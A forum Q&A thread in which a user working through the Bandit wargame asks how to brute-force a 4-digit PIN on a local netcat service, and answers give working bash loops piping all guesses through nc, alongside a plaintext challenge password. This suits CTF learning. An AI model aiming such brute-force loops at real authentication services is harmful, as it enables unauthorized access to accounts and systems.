Cfrtjryk

I am doing some challenges. This is one them. I am trying to brute-force 4 digit pin with the password to get my desired answer. After connecting to the port It prompts me to enter the password then space then 4 digit pin. I tried to brute-force the pin using the script:

 #!/bin/bash 

 nc localhost 30002 

 sleep 2 



 for i in {0000..9999}; 

     if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i' </dev/stdin) = ^Wrong*]];                   

     then 

        continue 

     echo '[+] Pincode Cracked! Pincode = $i' 

     fi 

 done

but it seems that this doesn't input the pass and pin to stdin, before i tried doing something like this -> if [[ $(echo 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i') = ^Wrong* ]]; What am I doing wrong here?

UPDATE:

Okay, so after researching around. I wrote this:

for i in {0000..9999}
do
if [ (echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002 | grep -o Wrong) == "Wrong" ]
then
sleep 0.1
continue
fi
echo "- - - - - - - - - - - - - - - - - - - - - - - - [$i]"
done

This might even work but as you can see it opens new connections in the loop which makes it really slow and exhaust the system.

That's because you're not telling your script to write anything to nc's standard input. Your script starts netcat, waits for it to terminate, and then sleeps for two seconds before executing the for loop. You probably want a construct such as:

for i in {0000..9999}; do

    : stuff

done | nc localhost 30002

Here a working answere that is fast and working:

#!/bin/bash

passwd24=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

for i in {0000..9999}; do

            echo "$passwd24 $i"

done | nc localhost 30002  | grep -v Wrong | grep -v "I am the pincode checker for user bandit25"

Your updated answer is very slow. The connections will live when a wrong answer is filled in. Like a earlier answer showed, is a pipeline at the end of the for-loop. If you really wanne know the correct pin you can add a line before the echo that echo "the correct pass: $1" > /tmp/correctpin.txt. This is not relevant for the purpose of receiving the correct passwd.

for i in {0000..9999}; do echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" | nc localhost 30002; done